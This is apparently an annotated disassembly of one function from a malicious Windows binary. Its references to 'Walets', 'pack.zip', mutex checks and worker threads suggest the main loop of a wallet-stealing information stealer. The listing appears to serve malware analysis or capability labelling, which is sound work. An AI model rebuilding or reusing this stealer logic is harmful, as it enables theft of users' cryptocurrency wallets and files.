Function at 0x40f9e0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x43ed1a
mov eax, dword fs:[0]
push eax
sub esp, 0x960
mov eax, dword [0x44e664]
xor eax, esp
mov dword [esp + 0x958], eax
push ebx
push esi
push edi
mov eax, dword [0x44e664]
xor eax, esp
push eax
lea eax, [esp + 0x970]
mov dword fs:[0], eax
xor ebx, ebx
mov dword [esp + 0x7c], 0xf
mov dword [esp + 0x78], ebx
mov byte [esp + 0x68], bl
mov dword [esp + 0x978], ebx
call fcn.004013d0
call fcn.00423a20
push 0x3e8
lea eax, [esp + 0x198]
push ebx
push eax
mov dword [0x4512a8], 0x9c40
mov dword [0x4512b4], ebx
mov dword [0x4512a0], ebx
call fcn.004295f0
add esp, 0xc
lea edi, [esp + 0x4c]
call fcn.0041e0a0
mov edi, 0x10
mov byte [esp + 0x978], 1
cmp dword [eax + 0x14], edi
jb 0x40fa8c
mov eax, dword [eax]
push eax
lea ecx, [esp + 0x198]
push ecx
call dword [0x4514e0]
mov byte [esp + 0x978], bl
cmp dword [esp + 0x60], edi
jb 0x40fab5
mov edx, dword [esp + 0x4c]
push edx
call fcn.004295cb
add esp, 4
lea esi, [esp + 0x4c]
call fcn.0041ebc0
mov byte [esp + 0x978], 2
cmp dword [eax + 0x14], edi
jb 0x40facd
mov eax, dword [eax]
push eax
lea eax, [esp + 0x198]
push eax
call dword [0x4514e0]
mov byte [esp + 0x978], bl
cmp dword [esp + 0x60], edi
jb 0x40faf6
mov ecx, dword [esp + 0x4c]
push ecx
call fcn.004295cb
add esp, 4
lea esi, [esp + 0x4c]
call fcn.0041e600
mov byte [esp + 0x978], 3
cmp dword [eax + 0x14], edi
jb 0x40fb0e
mov eax, dword [eax]
push eax
lea edx, [esp + 0x198]
push edx
call dword [0x4514e0]
mov byte [esp + 0x978], bl
cmp dword [esp + 0x60], edi
jb 0x40fb37
mov eax, dword [esp + 0x4c]
push eax
call fcn.004295cb
add esp, 4
lea ecx, [esp + 0x194]
push ecx
push ebx
mov edi, 0xf
push 0x1f0003
mov dword [esp + 0x6c], edi
mov dword [esp + 0x68], ebx
mov byte [esp + 0x58], bl
call dword [0x451340]
mov dword [0x4512b0], eax
cmp eax, ebx
je 0x40fb94
push eax
call dword [0x451378]
push 0x1388
call dword [0x451350]
lea edx, [esp + 0x194]
push edx
push ebx
push 0x1f0003
call dword [0x451340]
mov dword [0x4512b0], eax
cmp eax, ebx
jne 0x40fb65
lea eax, [esp + 0x194]
push eax
push ebx
push ebx
push ebx
call dword [0x4514c8]
push 0x104
lea ecx, [esp + 0x90]
push ebx
push ecx
mov dword [0x4512b0], eax
call fcn.004295f0
add esp, 0xc
push 0x4499d4
lea edx, [esp + 0x90]
push edx
call dword [0x4514e0]
lea esi, [esp + 0x4c]
call fcn.0040a2e0
mov esi, 0x10
mov byte [esp + 0x978], 4
cmp dword [eax + 0x14], esi
jb 0x40fbf0
mov eax, dword [eax]
push eax
lea eax, [esp + 0x90]
push eax
call dword [0x4514e0]
mov byte [esp + 0x978], bl
cmp dword [esp + 0x60], esi
jb 0x40fc20
mov ecx, dword [esp + 0x4c]
push ecx
call fcn.004295cb
add esp, 4
lea esp, [esp]
push str.Walets
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x34], esp
call fcn.0040a360
sub esp, 0x1c
mov byte [esp + 0x9b4], 6
mov esi, esp
mov dword [esp + 0x54], esp
call fcn.0040a420
lea esi, [esp + 0x88]
mov byte [esp + 0x9b4], 7
call fcn.0040a420
mov byte [esp + 0x9b4], 8
mov eax, dword [eax + 0x10]
inc eax
push eax
mov byte [esp + 0x9b8], 9
call fcn.0040dfa0
mov esi, 0x10
add esp, 0x40
mov byte [esp + 0x978], bl
cmp dword [esp + 0x60], esi
jb 0x40fc99
mov edx, dword [esp + 0x4c]
push edx
call fcn.004295cb
add esp, 4
mov eax, dword [0x44f2cc]
mov dword [esp + 0x60], edi
mov dword [esp + 0x5c], ebx
mov byte [esp + 0x4c], bl
cmp dword [0x44f2e0], esi
jae 0x40fcb7
mov eax, 0x44f2cc
push str.ERROR
push eax
call dword [0x451510]
test eax, eax
je 0x40fd32
sub esp, 0x1c
mov esi, esp
lea eax, [esp + 0xa8]
mov dword [esp + 0x30], esp
mov dword [esi + 0x14], edi
mov dword [esi + 0x10], ebx
push eax
mov byte [esi], bl
call fcn.0042a170
add esp, 4
push eax
lea ecx, [esp + 0xac]
push ecx
mov ecx, esi
call fcn.004050a0
sub esp, 0x1c
mov ecx, esp
mov byte [esp + 0x9b0], 0xa
mov dword [esp + 0x50], esp
push 0xffffffffffffffff
push ebx
mov dword [ecx + 0x14], edi
mov dword [ecx + 0x10], ebx
push 0x44f2cc
mov byte [ecx], bl
call fcn.004051a0
mov byte [esp + 0x9b0], bl
call fcn.0040e170
add esp, 0x38
mov esi, 0x10
mov eax, dword [0x44f2cc]
cmp dword [0x44f2e0], esi
jae 0x40fd44
mov eax, 0x44f2cc
push str.ERROR
push eax
call dword [0x451510]
test eax, eax
jne 0x40ff19
push str.Walets
sub esp, 0x1c
mov esi, esp
mov dword [esp + 0x34], esp
call fcn.0040a3a0
sub esp, 0x1c
mov byte [esp + 0x9b4], 0xc
mov esi, esp
mov dword [esp + 0x54], esp
call fcn.0040a420
lea esi, [esp + 0x88]
mov byte [esp + 0x9b4], 0xd
call fcn.0040a420
mov byte [esp + 0x9b4], 0xe
mov eax, dword [eax + 0x10]
inc eax
push eax
mov byte [esp + 0x9b8], 0xf
call fcn.0040dfa0
mov esi, 0x10
add esp, 0x40
mov byte [esp + 0x978], bl
cmp dword [esp + 0x60], esi
jb 0x40fdd1
mov edx, dword [esp + 0x4c]
push edx
call fcn.004295cb
add esp, 4
mov eax, dword [0x44f2cc]
mov dword [esp + 0x60], edi
mov dword [esp + 0x5c], ebx
mov byte [esp + 0x4c], bl
cmp dword [0x44f2e0], esi
jae 0x40fdef
mov eax, 0x44f2cc
push str.ERROR
push eax
call dword [0x451510]
test eax, eax
je 0x40fe6a
sub esp, 0x1c
mov esi, esp
lea eax, [esp + 0xa8]
mov dword [esp + 0x30], esp
mov dword [esi + 0x14], edi
mov dword [esi + 0x10], ebx
push eax
mov byte [esi], bl
call fcn.0042a170
add esp, 4
push eax
lea ecx, [esp + 0xac]
push ecx
mov ecx, esi
call fcn.004050a0
sub esp, 0x1c
mov ecx, esp
mov byte [esp + 0x9b0], 0x10
mov dword [esp + 0x50], esp
push 0xffffffffffffffff
push ebx
mov dword [ecx + 0x14], edi
mov dword [ecx + 0x10], ebx
push 0x44f2cc
mov byte [ecx], bl
call fcn.004051a0
mov byte [esp + 0x9b0], bl
call fcn.0040e170
add esp, 0x38
mov esi, 0x10
mov eax, dword [0x44f2cc]
cmp dword [0x44f2e0], esi
jae 0x40fe7c
mov eax, 0x44f2cc
push str.ERROR
push eax
call dword [0x451510]
test eax, eax
jne 0x40ff19
sub esp, 0x1c
mov esi, esp
lea edx, [esp + 0xa8]
mov dword [esp + 0x30], esp
mov dword [esi + 0x14], edi
mov dword [esi + 0x10], ebx
push edx
mov byte [esi], bl
call fcn.0042a170
add esp, 4
push eax
lea eax, [esp + 0xac]
push eax
mov ecx, esi
call fcn.004050a0
sub esp, 0x1c
mov byte [esp + 0x9b0], 0x11
mov esi, esp
mov dword [esp + 0x50], esp
call fcn.0040a3e0
mov byte [esp + 0x9b0], bl
call fcn.0040e170
mov eax, dword [0x44f2cc]
add esp, 0x38
cmp dword [0x44f2e0], 0x10
jae 0x40fef9
mov eax, 0x44f2cc
push str.ERROR
push eax
call dword [0x451510]
test eax, eax
jne 0x40ff19
push 0x1d4c0
call dword [0x451350]
jmp 0x40fc20
mov edi, 0x5f5e100
call fcn.004288b0
push 0x3e8
lea ecx, [esp + 0x580]
push ebx
push ecx
mov dword [0x4512ac], eax
call fcn.004295f0
mov eax, dword [0x44f2cc]
add esp, 0xc
cmp dword [0x44f2e0], 0x10
jae 0x40ff51
mov eax, 0x44f2cc
push eax
lea edx, [esp + 0x580]
push edx
call dword [0x4514e0]
push 0x4499d4
lea eax, [esp + 0x580]
push eax
call dword [0x4514e0]
push str.pack.zip
lea ecx, [esp + 0x580]
push ecx
call dword [0x4514e0]
lea ecx, [esp + 0x57c]
call fcn.00413a00
push edx
push eax
call fcn.00409eb0
mov ecx, dword [0x451138]
push ebx
mov edi, 0x447631
mov dword [0x45129c], eax
call fcn.0040e370
movzx ecx, byte [0x45169d]
add esp, 0xc
cmp byte [0x45169e], bl
push edx
movzx edx, byte [0x45169c]
mov byte [esp + 0x2e], cl
movzx ecx, byte [0x4516a0]
mov byte [esp + 0x2d], dl
movzx edx, byte [0x45169f]
mov byte [esp + 0x30], cl
mov ecx, dword [0x4512ac]
mov byte [esp + 0x2f], dl
movzx edx, byte [0x4516a1]
mov dword [esp + 0x4c], ecx
movzx ecx, byte [0x4516a2]
mov byte [esp + 0x31], dl
setne dl
mov byte [esp + 0x33], cl
push eax
lea ecx, [esp + 0x30]
mov byte [esp + 0x30], 1
mov byte [esp + 0x36], dl
call fcn.0041b500
cmp byte [0x4516a0], bl
je 0x410028
call fcn.0040f890
cmp dword [0x4516a4], ebx
je 0x410035
call fcn.0040b520
call fcn.0040e830
cmp byte [0x45169e], bl
je 0x41004b
lea ecx, [esp + 0x68]
call fcn.00411970
call fcn.0040ce20
cmp byte [0x4516a3], bl
je 0x41005d
call fcn.00420800
mov eax, dword [0x4512ac]
lea ebx, [esp + 0x14]
lea edi, [esp + 0x18]
call fcn.00428a40
mov edi, dword [esp + 0x18]
xor esi, esi
mov dword [esp + 0x1c], esi
cmp edi, esi
je 0x4100d4
mov ebx, dword [esp + 0x14]
lea edx, [esp + 0x1c]
push edx
push esi
push 0x40000001
push ebx
push edi
call dword [0x45131c]
test eax, eax
je 0x4100d4
mov eax, dword [esp + 0x1c]
push eax
push esi
call dword [0x45153c]
push eax
call dword [0x4514c4]
mov esi, eax
test esi, esi
je 0x4100d4
mov ecx, dword [esp + 0x1c]
push ecx
push 0
push esi
call fcn.004295f0
add esp, 0xc
lea edx, [esp + 0x1c]
push edx
push esi
push 0x40000001
push ebx
push edi
call dword [0x45131c]
mov eax, dword [esp + 0x1c]
push 0
push 0
lea ecx, [esp + 0x28]
push ecx
push 0x40e450
push 0
push 0
mov dword [esp + 0x38], esi
mov dword [esp + 0x3c], eax
call dword [0x451518]
xor esi, esi
cmp dword [0x4516ac], esi
jne 0x410140
cmp dword [0x4516b0], 0
jne 0x410154
cmp esi, 0x3c
jne 0x41012a
push 0
push 0
lea edx, [esp + 0x28]
push edx
push 0x40e450
push 0
push 0
call dword [0x451518]
xor esi, esi
push 0x3e8
call dword [0x451350]
inc esi
cmp dword [0x4516ac], 0
je 0x410102
nop
push 0x3e8
call dword [0x451350]
cmp dword [0x4516b4], 0
je 0x410140
push 4
push 0
push 0x4512ac
call fcn.004295f0
add esp, 0xc
push 4
push 0
push 0x4512b0
call fcn.004295f0
add esp, 0xc
call fcn.004205c0
cmp dword [esp + 0x7c], 0x10
jb 0x41018f
mov eax, dword [esp + 0x68]
push eax
call fcn.004295cb
add esp, 4
mov ecx, dword [esp + 0x970]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x958]
xor ecx, esp
call fcn.004295d6
mov esp, ebp
pop ebp
ret